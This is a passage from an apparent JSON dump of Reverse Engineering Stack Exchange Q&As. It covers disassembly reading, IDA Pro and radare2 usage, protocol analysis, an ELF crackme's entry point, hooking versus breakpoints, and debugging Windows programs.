eax,DWORD PTR [ebp-0x8]\n   0x08048517 &lt;+29&gt;:    mov    DWORD PTR [ebp-0x4],eax\n   0x0804851a &lt;+32&gt;:    add    DWORD PTR [ebp-0x8],0x1\n   0x0804851e &lt;+36&gt;:    mov    eax,DWORD PTR [ebp-0x8]\n   0x08048521 &lt;+39&gt;:    cmp    eax,DWORD PTR [ebp+0x8]\n   0x08048524 &lt;+42&gt;:    jl     0x8048510 &lt;computePowers+22&gt;\n   0x08048526 &lt;+44&gt;:    leave  \n   0x08048527 &lt;+45&gt;:    ret    \nEnd of assembler dump.\n</code></pre>\n\n<p><strong>Edit 1</strong>\nAfter looking at the code for a while longer I realized the xor is happening on eax to \"0\" it out, does that happen so that a return value can be stored into eax?</p>\n",
        "Title": "How does scanf interact with my code in assembly",
        "Tags": "|disassembly|c|xor|program-analysis|scanf|",
        "Answer": "<p>The code between <code>80484c5</code> and <code>80484ce</code> sets up the <a href=\"https://reverseengineering.stackexchange.com/questions/6627/segmentation-on-x86-for-stack-canaries\">stack canary</a>, and <code>80484e7</code> to <code>80484f3</code> checks it. gcc omits the stack checking from your second function, since it can determine (uses no pointers, doesn't call subroutines) that there's no way to overwrite the stack here. Your <code>xor eax, eax</code> isn't neccesary per se (you don't need to zero registers before storing something into them), it's just that the compiler wants to make the canary value unknown as soon as possible.</p>\n\n<p>Omitting the stack checking results in:</p>\n\n<pre><code>0x080484d0 &lt;+17&gt;:    sub    esp,0x8            // adjust stack alignment \n0x080484d3 &lt;+20&gt;:    lea    eax,[ebp-0x10]     // move the address of maxRow into eax\n0x080484d6 &lt;+23&gt;:    push   eax                // and push it on the stack as the 2nd function argument\n0x080484d7 &lt;+24&gt;:    push   0x80485b0          // Push the address of your format string as first function argument\n0x080484dc &lt;+29&gt;:    call   0x8048380 &lt;__isoc99_scanf@plt&gt;  // call scanf\n0x080484e1 &lt;+34&gt;:    add    esp,0x10           // remove the added bytes from the stack\n0x080484e4 &lt;+37&gt;:    mov    eax,DWORD PTR [ebp-0x10]  // get the content of maxRow into eax to return it as function return value\n</code></pre>\n\n<p>3 things might need further explanation:</p>\n\n<ul>\n<li>The <code>lea</code> instruction calculates an <em>address</em>, while <code>mov</code> loads a value. Thus, <code>lea eax,[ebp-0x10]</code> is like  <code>eax=&amp;maxRow</code>, and <code>mov eax, DWORD PTR [ebp-0x10]</code> is like <code>eax=maxRow</code>.</li>\n<li>In C, function arguments are pushed from behind, i.e. the last argument gets pushed first. This ensures the first argument is always at the same position, which is important for <code>varargs</code> functions like <code>printf</code> and <code>scanf</code>.</li>\n<li>Since 2 arguments are passed, which needs 8 bytes, ommiting the first <code>sub esp,0x8</code> and replacing the <code>add esp,0x10</code> with <code>add esp, 0x8</code> would be more straightforward. The reason <code>gcc</code> spends these extra bytes is probably that it wants the stack pointer aligned to a multiple of 16 bytes, which speeds up certain things. Not sure about this however, since the total distance between <code>esp</code> at the start of your function and <code>esp</code> at the start of <code>scanf</code> doesn't seem to be a multiple of 16.</li>\n</ul>\n"
    },
    {
        "Id": "10827",
        "CreationDate": "2015-09-09T17:09:26.900",
        "Body": "<p>I am attempting to load a PPC memory dump into IDA Pro, but I am getting a \"ROM size overflow\" error.  The dump is the exact size of the memory location, but IDA Pro will not load without cutting off bytes.</p>\n\n<p>What seems to be the issue?</p>\n\n<p><img src=\"https://i.stack.imgur.com/IwXsn.png\" alt=\"Disassembly memory organization &amp; error dialogs\"></p>\n",
        "Title": "Problem loading dump into IDA Pro",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>Looks like a bug in IDA (and probably worth reporting to support@hex-rays.com). Try a ROM size of <code>0x3FFFFF</code> as a workaround.</p>\n"
    },
    {
        "Id": "10831",
        "CreationDate": "2015-09-10T13:40:56.140",
        "Body": "<p>After reading the <a href=\"https://reverseengineering.stackexchange.com/questions/10820/what-is-all-this-code-for\">question of zespri</a> it was interesting for me to read something about the code generation patterns of different compilers in order to reverse better and quicker. Do you know good articles/books/advices or another resources where I could read this?</p>\n\n<p>I know that there are several function call conventions but it would be nice to know about artefacts of compiler code generation that aren't worth of attention while reversing.</p>\n",
        "Title": "Code generation patterns of compilers",
        "Tags": "|ida|assembly|compilers|",
        "Answer": "<p>I personally enjoy <a href=\"http://beginners.re/\" rel=\"nofollow\">Reverse Engineering for Beginners</a> (by Dennis Yurichev). \nThe book shows (among other things) lots of common code patterns being compiled to different architectures and <strong>using different compilers</strong>.\nThis way you can learn about the idiosyncrasies of the individual compilers by comparing how they transform the same code.</p>\n\n<p>NOTE: Please don't let the title of the book trick you. This is not your typical \"for beginners\" book. The author keeps adding content but the original title remains. It is actually <em>beginner to intermediate</em> level but of course that depends on who you are talking to :)</p>\n"
    },
    {
        "Id": "10839",
        "CreationDate": "2015-09-12T03:25:18.337",
        "Body": "<p>I'm writing small C programs to teach myself how to use GDB to disassemble code.  The C in question is:</p>\n\n<pre><code>void function( char **pointer )\n{\n   *pointer = malloc(100);\n   strcpy(*pointer,\"This is text\");\n}\n</code></pre>\n\n<p>The disassembly is:</p>\n\n<pre><code>0x400620:    push   %rbp\n0x400621:    mov    %rsp,%rbp\n0x400624:    sub    $0x10,%rsp\n0x400628:    mov    %rdi,-0x8(%rbp)\n0x40062c:    mov    $0x64,%edi\n0x400631:    callq  0x4004f0 &lt;malloc@plt&gt;\n0x400636:    mov    %rax,%rdx\n0x400639:    mov    -0x8(%rbp),%rax\n0x40063d:    mov    %rdx,(%rax)\n0x400640:    mov    -0x8(%rbp),%rax\n0x400644:    mov    (%rax),%rax\n0x400647:    movabs $0x2073692073696854,%rcx\n0x400651:    mov    %rcx,(%rax)\n0x400654:    movl   $0x74786574,0x8(%rax)\n0x40065b:    movb   $0x0,0xc(%rax)\n0x40065f:    leaveq \n0x400660:    retq   \n</code></pre>\n\n<p>I understand the prologue: <code>0x400620</code>-<code>0x400624</code>. I also understand that the pointer is being initialized to 100 char here: <code>0x400628</code>-<code>0x40063d</code>.</p>\n\n<p>I cannot seem to figure out what <code>strcpy</code> is doing and I do not understand how to examine the contents of the addresses listed in <code>0x400647</code> and <code>0x400654</code>.</p>\n\n<p>Can someone help me work through this?</p>\n",
        "Title": "Optimization of strcpy at the assembler level",
        "Tags": "|disassembly|",
        "Answer": "<p>So, I assume that you understood the stack-frame initialization part and the call to the <code>malloc</code> through the PLT (Procedure Linking Table).</p>\n\n<pre><code>0x400636:    mov    %rax,%rdx\n</code></pre>\n\n<p>This line take the return code of the <code>malloc</code> function and save it in the <code>rdx</code> register. This value correspond to the address of the memory space you just created through the <code>malloc</code> call.</p>\n\n<pre><code>0x400639:    mov    -0x8(%rbp),%rax\n</code></pre>\n\n<p>Here, you take the first argument of the function we are in (<code>char **pointer</code> according to your source code) and it is stored in the <code>rax</code> register.</p>\n\n<pre><code>0x40063d:    mov    %rdx,(%rax)\n</code></pre>\n\n<p>This line transfert the address of the allocated memory area to the <code>pointer</code> variable.</p>\n\n<pre><code>0x400640:    mov    -0x8(%rbp),%rax\n</code></pre>\n\n<p>An (unnecessary) copy of the first argument of <code>function</code> in <code>rax</code> (the register already store this value, probably a glitch of the compiler that did not optimized enough).</p>\n\n<pre><code>0x400644:    mov    (%rax),%rax\n</code></pre>\n\n<p>Set <code>rax</code> as the address pointed by <code>pointer</code>.</p>\n\n<pre><code>0x400647:    movabs $0x2073692073696854,%rcx\n</code></pre>\n\n<p>To understand that, you need to decompose this magic number <code>0x2073692073696854</code> and cut it into pieces. Lets use <code>gdb</code> for that:</p>\n\n<pre><code>(gdb) p /c 0x54\n$1 = 84 'T'\n(gdb) p /c 0x68\n$2 = 104 'h'\n(gdb) p /c 0x69\n$3 = 105 'i'\n(gdb) p /c 0x73\n$4 = 115 's'\n(gdb) p /c 0x20\n$5 = 32 ' '\n(gdb) ...\n</code></pre>\n\n<p>I guess that you start to see what is the meaning of this big number by now...</p>\n\n<pre><code>0x400651:    mov    %rcx,(%rax)\n</code></pre>\n\n<p>On this line, the previous magic number is stored in the address pointed by <code>pointer</code>.</p>\n\n<pre><code>0x400654:    movl   $0x74786574,0x8(%rax)\n</code></pre>\n\n<p>This last magic number is, in fact, the end of your string (it correspond to the word <code>text</code>).</p>\n\n<pre><code>0x40065b:    movb   $0x0,0xc(%rax)\n</code></pre>\n\n<p>Copy the <code>\\0</code> character to end the string at the right place (<code>0xc</code> is the size of the string and <code>rax</code> is the start address of the string).</p>\n"
    },
    {
        "Id": "10847",
        "CreationDate": "2015-09-13T02:17:33.823",
        "Body": "<p>I am thinking on a decompilation method which uses the runtime behavior of the binary executable to extract usable compilation data. Analysing the runtime behavior (i.e. trapping after every cpu instruction and check what it does), we could get a lot of additional infos, like:</p>\n\n<ul>\n<li>we could differentiate between the static constant data (\"<code>.text</code>\") and the binary asm</li>\n<li>additional information, what type of data is in which register or global / local variable (pointers, floats and integers)</li>\n<li>where the cpu instructions are starting</li>\n<li>from the stack behavior we could get highly useful heuristics, where are the functions / internal functions and how long / what type of parameters they have.</li>\n</ul>\n\n<p>On my opinion, maybe even the holy grail, the recompilable source code wouldn't be so far away.</p>\n\n<p>Is it possible? Does any tool / software already exist which is capable to do this?</p>\n",
        "Title": "Decompile binary executable into c / asm code by emulation, is it possible?",
        "Tags": "|disassembly|decompilation|tracing|",
        "Answer": "<p>This problem is linked to the halting problem on a Turing machine (which is known to be undecidable). </p>\n\n<p>Approaching decompilation through emulation suppose that you have to run through all the branches of the software at least once, and reaching all possible program points cannot be guaranteed if you have to go through a (potentially) infinite loop.</p>\n\n<p>Yet, this is a theoretical problem that you unlikely find in real life (except if it has been planted here intentionally to prevent the full exploration through emulation).</p>\n\n<p>But, in a more practical perspective, exploring all paths can be done only if you can easily run through all the path at runtime, which is not the case when the user is required to solve a challenge (possibly on-line) such as giving a password whose hash is stored in the program or prove that he posses a private key by signing a message and returning it to the software.</p>\n"
    },
    {
        "Id": "10850",
        "CreationDate": "2015-09-13T07:54:06.430",
        "Body": "<p>When I launch IDA for the first time, I move my windows to reflect my perfect window setup. Then I save the desktop and set it as default, plus I additionally save a named backup.</p>\n\n<p>After this, I close IDA, launch it again, and everything works.</p>\n\n<p>However, after some time (days-weeks) I get message: \"incompatible saved desktop has been ignored\" and my desktop is completely reset to default. Restoring the desktop from the backup results in the same message. This has already happened a couple of times and each time it was very annoying. What is the reason for this behavior and how can I keep my desktop?</p>\n",
        "Title": "\"Incompatible saved desktop has been ignored\" in IDA",
        "Tags": "|ida|tools|",
        "Answer": "<p>This message is shown if a user changes screen resolution between IDA restarts, which happens particularly often when using IDA inside a virtual machine (which gets arbitrary resolution unless it's launched fullscreen). So to keep the desktop, make sure to maintain the same screen resolution when launching IDA.</p>\n\n<p>I haven't tested if the default desktop is overwritten as soon as IDA starts with different resolution than previous session. Having a named backup for this scenario certainly won't hurt.</p>\n"
    },
    {
        "Id": "10860",
        "CreationDate": "2015-09-14T06:19:10.407",
        "Body": "<p>Ultranet is a audio protocol that allows low latency audio with many channels to be transmitted over standard Ethernet cables. For instance you might have a Midas sound desk transmitting audio packets to a chain of personal mixers on a stage.</p>\n\n<p>There is no documentation for it that I can find on the internet and I suspect that it's a <a href=\"https://en.wikipedia.org/wiki/Audio_over_Ethernet\">Layer 1</a> protocol. In that it uses the hardware for Ethernet (cables and sockets etc) but not the wire format. The reason I believe this is that when I plugged my Macbook into the Ultranet output of a sound desk there was no IP and Wireshark saw exactly nothing on the wire. I tried setting a manual IP with a very wide mask but still got nothing.</p>\n\n<p>I have in the past successfully decoded the <a href=\"http://www.mymixaudio.com/\">Mymix</a> protocol which is Layer 3. That just showed up as a packet stream in Wireshark... easy. Each packet had a header and a payload of 6 24bit samples.</p>\n\n<p>I'm guessing the procedure starts with maybe an oscilloscope on the wires themselves? Or is there other things that I should investigate? (I have no idea how to use an oscilloscope btw... I know mostly software stuff).</p>\n\n<p>Is there standard procedures for reverse engineering wire protocols?</p>\n",
        "Title": "How do I work out the Ultranet protocol?",
        "Tags": "|packet|",
        "Answer": "<p>Others have provided clues about this particular protocol, so I'll just address the general mechanism of decoding a protocol.  You have specified \"wire\" but this generic method can and has been applied to protocols over fiber and RF as well.  </p>\n\n<h2>Formulate a plan for investigation</h2>\n\n<p>The best start is often not mentioned, but is quite important in practice.  That step is to formulate a plan.  What do you want to know about the protocol?  What do you intend to do with the knowledge?  What you know could include, as with your case, the name of the protocol and its purpose.  It might also be any clues you can glean or infer.  For example, you know that it's low latency audio with multiple channels.  Do you have equipment that you can control and observe, or are you just passively listening?  Are there  regulatory agencies or standards bodies which might have documentation on the protocol?  Have you looked for patents or patent applications?  Are there protocols with similar purpose that you can read about?</p>\n\n<h2>Investigate the signal visually</h2>\n\n<p>The human eye and brain are remarkably good at pattern recognition, so a useful first step is to convert the signal of interest to a visual representation.  For a wired 2-wire connection, I would usually start by using a simple multimeter across the line.  That gives some rough indication of what voltages might be present.  That's important for both personal safety and the safety of any other equipment you might attach.  In this case, since it's over Ethernet cabling, and given the purpose, it's likely to be compatible with Ethernet voltages, and possibly using Ethernet voltages +/- 2.5V.  So the next step I'd use would be to attach an oscilloscope.  The simplest and most typical 'scope setup is simply a graph of voltage over time.  This can give a lot of insight.  For instance, are there discrete voltage levels used?  If so, how many (2, 4, more?)?  Does the signal appear to be packetized or is it more or less continuous?  What is the shortest duration between changes in the signal?  More advanced 'scopes have other useful functions, such as spectrum analysis and/or FFT and time and voltage measurement.</p>\n\n<h2>Attempt to modify the signal in known ways</h2>\n\n<p>If you have equipment that you can control, try changing just one thing to see how it affects the output signal.  For example, try sending a 1kHz sine wave audio signal over a single channel.  Now send the same signal over 2 channels.  Try changing the audio frequency.  Try changing the audio amplitude.  All of these can lead you to some insight about the protocol.</p>\n\n<h2>See if you can capture the signal in digital form</h2>\n\n<p>If you can faithfully digitize the signal and store it as a file in your computer, then you have many many more resources available to you for investigation.  You can do the spectrum analysis on your computer.  You can try out theories about modulation type, channelization, and so forth all on the computer by using off-the-shelf or your own custom software.  This is the fun part for most of us!</p>\n\n<h2>Test your theory</h2>\n\n<p>If you think you have figured out the protocol and if you have either equipment you can control or at least more samples you can observe, then test your theory with that data.  See if your computer implementation of the protocol matches what you observe.  Ideally, you'd also be able to build your own interface and pretend to be one end or the other of the protocol.  In the case of audio gear, you're not likely to hurt anything if you're not quite correct.  Other realms (such as vehicle engine controls) may very well require much more caution.  See if you can test corner cases and error conditions.</p>\n\n<h2>Share your results</h2>\n\n<p>If you can, and if it's responsible to do so, consider sharing your results.  Chances are that somebody out there somewhere also has the same interest.  By sharing notes, you'll both make more progress than if either works in isolation.  Many's the time that I've had great luck finding even a half-baked partial implementation on github or sourceforge or the like, saving me a ton of time.  I try to share what I've found, too, in the same spirit.</p>\n\n<p>Good luck, and have fun!</p>\n"
    },
    {
        "Id": "10862",
        "CreationDate": "2015-09-14T08:38:44.290",
        "Body": "<p>I have an application that calls a subroutine before sending the data over socket and in that subroutine the packet is being encrypted. Is there any way to make application skip that subroutine and send the packet as non-encrypted ?</p>\n",
        "Title": "Is it possible to make an application skip a call?",
        "Tags": "|ida|",
        "Answer": "<p>There is an <em>ida</em> tag, but your question doesn't mention it, so let's do that with <a href=\"http://radare.org\" rel=\"noreferrer\">radare2</a> instead ;)</p>\n\n<p><a href=\"https://i.stack.imgur.com/rhIkR.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/rhIkR.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>aa</code> to analyse the binary, <code>pdf</code> to show the current function, <code>wx</code> to write hexpairs, and <code>pdf</code> again to check the result. It's also possible to use <code>\"wa nop;nop;nop;nop;nop\"</code> instead, if you prefer writing instructions, or even better, the magical <code>wao nop</code> command, to replace the <strong>current</strong>\n opcode with nop.</p>\n"
    },
    {
        "Id": "10871",
        "CreationDate": "2015-09-16T10:57:35.347",
        "Body": "<p>I have a packet that I want to analyze which consists 16 bytes. I can produce as much as of these packets needed to analyze. </p>\n\n<p>Even though packet does the same thing on application the data in the packet seems to be changed each time. It works when I record the old packet and use it next time application runs. It also works when first or last 8 bytes are replaced with bytes from previously recorded packets. </p>\n\n<p>My aim is to be able to produce these packets myself. Here's some recorded packets:</p>\n\n<pre><code>0xb1, 0xd0, 0x36, 0xe8, 0x1f, 0xdb, 0xc7, 0x36, 0x66, 0x39, 0x17, 0x15, 0xcc, 0xa1, 0x8a, 0x61\n0x17, 0x21, 0x6e, 0x45, 0x0d, 0x3f, 0x08, 0x86, 0xed, 0x55, 0x26, 0x19, 0xf6, 0x15, 0x6b, 0xb1\n0x08, 0xb9, 0xd7, 0xe9, 0xa8, 0x80, 0xea, 0x8c, 0x18, 0x5e, 0x92, 0xc5, 0xb7, 0x1a, 0xed, 0xf7\n0x2a, 0x12, 0x1c, 0x71, 0x36, 0x00, 0xb3, 0x6f, 0xbb, 0x7b, 0x57, 0x65, 0xe5, 0xa7, 0x45, 0xd4\n0x17, 0x21, 0x6e, 0x45, 0x0d, 0x3f, 0x08, 0x86, 0xcf, 0x5a, 0x95, 0xaa, 0x41, 0x88, 0xd3, 0xf1\n0xb1, 0xd0, 0x36, 0xe8, 0x1f, 0xdb, 0xc7, 0x36, 0x20, 0x68, 0x45, 0x26, 0x2d, 0xce, 0xc8, 0x32\n</code></pre>\n",
        "Title": "How to analyze packets?",
        "Tags": "|protocol|packet|",
        "Answer": "<p>It may be the case that it's <a href=\"https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29\" rel=\"nofollow\">CBC-encrypted</a> data, with the first field being a nonce. Or one of many other possibilities.</p>\n\n<p>Either way, as Guntram said in his comment above, you'd need to reverse engineer the software to determine how this data is parsed.</p>\n"
    },
    {
        "Id": "10883",
        "CreationDate": "2015-09-16T21:12:28.210",
        "Body": "<p>Recently was doing some pydbg testing, so I had to remove the AeDebug entry (which determines the JIT debugger) in the registry, and Windbg was (and is) my JIT debugger. Exported the key before deleting it. It was:</p>\n\n<pre><code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\n</code></pre>\n\n<p>and the values were:</p>\n\n<pre><code>(Default) REG_SZ (value not set)\nAuto REG_SZ 1\nDebugger REG_SZ \"C:\\...\\windbg.exe\" -p %ld -e %ld -g\nUserDebuggerHotKey REG_DWORD 0x00000000 (0)\n</code></pre>\n\n<p>Now I had to test some other stuff in Windbg, so I added the exported AeDebug key in the .reg file. </p>\n\n<p>However, when I attempt to run a few test assembly programs that contact int 3h/0xCC (which should make Windbg come up as my JIT debugger) instead my system freezes with no BSOD, and I have to power off/turn back on.</p>\n\n<p>I've deleted all of AeDebug and re-ran \"windbg -I\" to register it as my JIT debugger. However, I still get system freezes!</p>\n\n<p>Please help! It only occurs so far when code Im running contains an int 3h breakpoint in it.</p>\n\n<p>I tried running an assembly (masm32) program that I compiled with the following to test:</p>\n\n<pre><code>.586\n.model flat, stdcall\n\noption casemap:none\n\nincludelib \\masm32\\lib\\kernel32.lib\nincludelib \\masm32\\lib\\user32.lib\n\ninclude \\masm32\\include\\kernel32.inc\ninclude \\masm32\\include\\user32.inc\ninclude \\masm32\\include\\windows.inc\n\n.code\nstart:\nxor eax, eax\nxor ebx, ebx\nxor ecx, ecx\nxor edx, edx\nint 3h\ninvoke ExitProcess, 0\nEND start\n</code></pre>\n\n<p>However, the system still freezes. When I run windbg first and I step out of the breakpoint, it exits like normal but doesn't feeze my whole system.</p>\n\n<p>How can I get normal breakpoints again that dont cause undefined behavior?</p>\n",
        "Title": "Windows 7x86 System Freezes when running assembly program with int 3h",
        "Tags": "|windows|assembly|debugging|windbg|",
        "Answer": "<p>This occurs when you have kernel debugging enabled, but have not attached a kernel debugger.</p>\n\n<p>In short the freeze occurs when,</p>\n\n<ul>\n<li>Kernel debugging is enabled.</li>\n<li>A kernel debugger is not attached. (If it was, control would be transferred to it).</li>\n<li>Jit debugger is enabled/disabled (doesn't matter).</li>\n<li>App is <strong>not being actively debugged</strong> by a usermode debugger like WindDbg or OllyDbg.</li>\n</ul>\n\n<p>For <em>Windows XP</em>, see the contents of <code>boot.ini</code>.\nIf <code>boot.ini</code> has a <code>/debug</code> flag it means kernel debugging is enabled.</p>\n\n<p>For <em>Windows 7</em> and above you can use <code>bcdedit</code> or <code>msconfig</code>.\nYou can also use the command <code>bcdedit | findstr debug</code> to check if debug flag has been enabled.</p>\n\n<p>To fix the problem, just remove the debug flag from your boot entry.</p>\n"
    },
    {
        "Id": "10892",
        "CreationDate": "2015-09-17T22:41:56.943",
        "Body": "<p>I have encountered a quite obscure 32-bit ELF file (that is a crackme) and I still cannot figure out how can it execute. First, beside some \"understandable\" property that it has not any section:</p>\n\n<pre><code># readelf --sections SimpleVM\n\nThere are no sections in this file.\n</code></pre>\n\n<p>Considering the segments:</p>\n\n<pre><code># readelf --segments SimpleVM\n\nElf file type is EXEC (Executable file)\nEntry point 0xc023dc\nThere are 2 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  LOAD           0x000000 0x00c01000 0x00c01000 0x013c7 0x013c7 RWE 0x1000\n  LOAD           0x00019c 0x0804b19c 0x0804b19c 0x00000 0x00000 RW  0x1000\n</code></pre>\n\n<p>I observe that the first segments <code>LOAD</code> has size <code>0x13c7</code> bytes, and mapped into memory at <code>0xc01000</code>; the second one is not important because its size is zero. But, the entry point of the ELF file is at <code>0xc023dc</code>, that means outside any segment <code>LOAD</code>!!!</p>\n\n<p>I use also IDA 6.8 (evaluation ver.) to load this file, and IDA says that the entry point is illegal.</p>\n\n<p>Since the program has no <code>INTERP</code> segment, the first executed instruction must be at <code>0xc023dc</code>. But this address is outside any \"reliably\" mapped data, we cannot sure which instruction will be executed. I think that this ELF should have some random behaviors (e.g. it should be crashed usually), but it is not, it executes normally, without any crash.</p>\n\n<p>So my question is: how can this happen?</p>\n\n<p>NB1. In case of someone wants to look at this file, I give the link <a href=\"https://app.box.com/s/xbyc5r7ladg8uvvr4plwcczkdiubqn3g/\" rel=\"nofollow\" title=\"here\">here</a>, but please do not give directly the solution. I want to handle it myself.</p>\n\n<p>NB2. Using a Pintool to trace out what happens, I find the <code>OEP</code> of the program is at <code>0xc01dfa</code> since its trace is:</p>\n\n<pre><code>0xc023dc  mov dword ptr [0xc01bf0], 0x252e8 &lt;=== modify address 0xc01bf0\n0xc023e6  jmp 0xc01bf0\n0xc01bf0  call 0xc01e47                     &lt;=== modified instruction\n0xc01e47  pop ebp                           &lt;=== OEP\n0xc01e48  call 0xc01dfa\n0xc01dfa  pop esi\n0xc01dfb  lea eax, ptr [ebp-0x9]\n0xc01dfe  mov edi, dword ptr [eax]\n0xc01e00  sub eax, edi\n0xc01e02  mov edx, eax\n0xc01e04  add eax, dword ptr [eax+0x48]\n0xc01e07  add eax, 0xfff\n0xc01e0c  and eax, 0xfffff000\n0xc01e11  push 0x1\n0xc01e13  push eax\n....\n</code></pre>\n\n<p>But I still cannot understand why the instruction at <code>0xc023dc</code> is always <code>mov dword ptr [0xc01bf0], 0x252e8</code> (so the binary is somehow \"self-modified\")</p>\n",
        "Title": "Illegal entry point of an ELF file",
        "Tags": "|disassembly|elf|",
        "Answer": "<p>File/memory mappings are always multiples of the page size, on x86 this is usually 4k. The mapping length here, <code>0x13c7</code> will be rounded up to a multiple of the page size meaning that <code>0x2000</code> bytes will be mapped. If you look the raw file at offset <code>0x13dc</code> you should find these 'extra' instructions.\nThe rounding up to page size is necessary because the memory manager and processor page tables work on 4k granularity to reduce the overhead of memory management.</p>\n\n<p>There is self-modification going on too. It is the write to memory from the instruction at <code>0xc023dc</code> which creates the CALL (0xE8) instruction you see at address <code>0xC01BF0</code>.  This won't be in the raw file.   The write to the code is possible because the code is, unusually, mapped with write (<code>W</code>) access in the program header.</p>\n"
    },
    {
        "Id": "10894",
        "CreationDate": "2015-09-18T07:58:06.017",
        "Body": "<p>I have a GUI app that seems to use registry.\nSo I wanna know if I can capture that function that access registry and check if it's activated because this app doesn't use windows directory, it's just a click and a GUI pops pup.</p>\n\n<p>Is it possible to identify how the app uses registry, how?</p>\n",
        "Title": "GUI apps uses registry,how?",
        "Tags": "|executable|register|",
        "Answer": "<p>To see which registry keys your applications accesses while running, use <a href=\"https://technet.microsoft.com/en-us/sysinternals/bb896645.aspx\" rel=\"nofollow\">Procmon</a>. If you want to monitor more DLL calls than mere registry accesses, i recommend <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow\">API Monitor</a>.</p>\n"
    },
    {
        "Id": "10896",
        "CreationDate": "2015-09-18T08:28:19.763",
        "Body": "<p>I am trying to reverse engineer a packet protocol and I was abled to find a subroutine which is likely to be an encryption function. I do not know much about cryptography but it looked like a CBC encryption. Here's the pseudocode I got from IDA: <a href=\"http://pastebin.com/UGYpbthr\" rel=\"nofollow noreferrer\">http://pastebin.com/UGYpbthr</a> and here is a part from the original subroutine: <a href=\"https://i.stack.imgur.com/EBlQa.png\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/EBlQa.png</a> also here's a part from where the subroutine is called: <a href=\"https://i.stack.imgur.com/2S9Nc.png\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/2S9Nc.png</a> . Is it possible to translate this pseudocode to C code without further reverse engineering ? If so how should I do it ?</p>\n",
        "Title": "How to translate IDA pseudocode to C/C++ code?",
        "Tags": "|ida|packet|",
        "Answer": "<p>This specific pseudocode is actually regular C code because it doesn't access global variables and stack. You'll probably need to add some typedefs for basic types.\nPlease note that this code should be compiled as 32 bit code (or any other where sizeof int is equal to sizeof of pointer for your specific system) to avoid problems with pointer sizes. </p>\n"
    },
    {
        "Id": "10901",
        "CreationDate": "2015-09-18T19:00:49.113",
        "Body": "<p>I know hooking is usually used as a technique when one would rather use external (or injected) code to manipulate an executable, vs breakpoints which are usually set by a debugging framework in an attached executable.</p>\n\n<p>Why would one prefer hooking function calls rather than setting a breakpoint? </p>\n\n<p>The only examples I can think of are:</p>\n\n<ul>\n<li>if somehow the control port used for debugging is sabotaged and you just need quick info (e.g. malware: the program is debugging itself as an anti-RE trick)</li>\n<li>tool preference/preferring a program/tool/automated tool that collects information rather than the tedious task of debugging an application</li>\n</ul>\n\n<p>Can anyone think of reasons other than these?</p>\n",
        "Title": "Why hook a function rather than set a breakpoint",
        "Tags": "|debugging|malware|function-hooking|breakpoint|",
        "Answer": "<p>Both hooks and debuggers are easy enough to detect if you're looking for them. Using API in order to read the debugee's memory by the debugger is no real disadvantage, in my opinion.</p>\n\n<p>I find debugging to be more documented, resilient and OS supported than any manual hooking.\nAlthough Microsoft for example provides the Detours hooking library, this is still not a functionality supported by the OS and Microsoft highlights that usage of hooking is discouraged.</p>\n\n<p>The major reason I often see hooking being used instead of debugging is for the following reasons:</p>\n\n<ol>\n<li>Monitoring the entire system is required instead of specific processes.</li>\n<li>There's no need to trace the full flow of execution, but instead only record specific events (such as network communication, for example).</li>\n</ol>\n\n<p>Although hooking could potentially be used for debugging, these two techniques are usually used for completely different things. </p>\n"
    },
    {
        "Id": "10906",
        "CreationDate": "2015-09-19T10:06:11.190",
        "Body": "<p>I'm trying to RE a Windows executable compiled with VS 2008. After the initial autoanalysis most functions are detected correctly; however, some have wrong end address \u2014\u00a0for some reason IDA places the end of the function earlier, leaving a chunk of code not associated with any function. The undetected function gets <code>noreturn</code> attribute and often has <code>sp-based autoanalysis failed</code> message. I have fixed most of these problems by hand. The problem is that Hex-Rays seems to use autodetected function boundaries and therefore the decompilation fails after a jump inside the function, which looks like a jump outside to Hex-Rays.</p>\n\n<p>Example hex-rays output:</p>\n\n<pre><code>void __thiscall sub_403CE0(void *this, unsigned int a2, int a3)\n{\n    sub_407F30(this, a2, a3);\n    JUMPOUT(locret_403CFD);\n}\n</code></pre>\n\n<p>As you can see, there is a <code>JUMPOUT</code> statement at the end of the function. This was correct before the function boundaries were adjusted, but now <code>locret_403CFD</code> belongs to the function itself and is not a jump \u201cout\u201d. Is there a way to tell hex-rays the function doesn't end here and pass a correct function start/end addresses to it?</p>\n",
        "Title": "Hex-Rays: JUMPOUT statements inserted due to incorrect autodetected function boundaries",
        "Tags": "|ida|hexrays|",
        "Answer": "<ol>\n<li>check if jump destination is a continuous area behind the function, if true, alt+p, adjust function range.</li>\n<li>if not, first undefine target area, then use IDA-built-in function \"append_func_tail\" to add that chunk to owner function. <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1077.shtml\" rel=\"nofollow noreferrer\">here</a> is the IDA-reference doc link</li>\n<li>one jump out done. if there is too many, then write a script to automate it.</li>\n</ol>\n"
    },
    {
        "Id": "10908",
        "CreationDate": "2015-09-20T05:31:06.363",
        "Body": "<p>What does <strong>mov     [edi+68h], eax</strong> mean in the following asm code</p>\n\n<pre><code>.text:0083FB35       call    esi ; RegisterWindowMessageW\n.text:0083FB37       push    offset My_Priv8_Msg ; \"MY_PRIVATE_MSG\"\n.text:0083FB3C       mov     [edi+68h], eax\n</code></pre>\n",
        "Title": "What does \u201cmov [edi+68h], eax\u201d mean?",
        "Tags": "|disassembly|assembly|winapi|",
        "Answer": "<p>The result of the call to the RegisterWindoMessageW is stored in eax. esi is a pointer and the code is saving the result of the function call to the address pointed to by esi plus offset 68h.</p>\n"
    },
    {
        "Id": "10910",
        "CreationDate": "2015-09-20T08:10:13.927",
        "Body": "<p>I am trying to reverse engineer a malware that open a windows service dynamically in OllyDbg. \nWhen the malware calls <code>StartServiceCtrDispatcherW</code>,  I receive an error: \n<a href=\"https://i.stack.imgur.com/RiD6y.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RiD6y.png\" alt=\"enter image description here\"></a></p>\n\n<p>How I can continue to analyze this malware dynamically?</p>\n\n<p>Note: I already used <code>Image File Execution Options</code></p>\n",
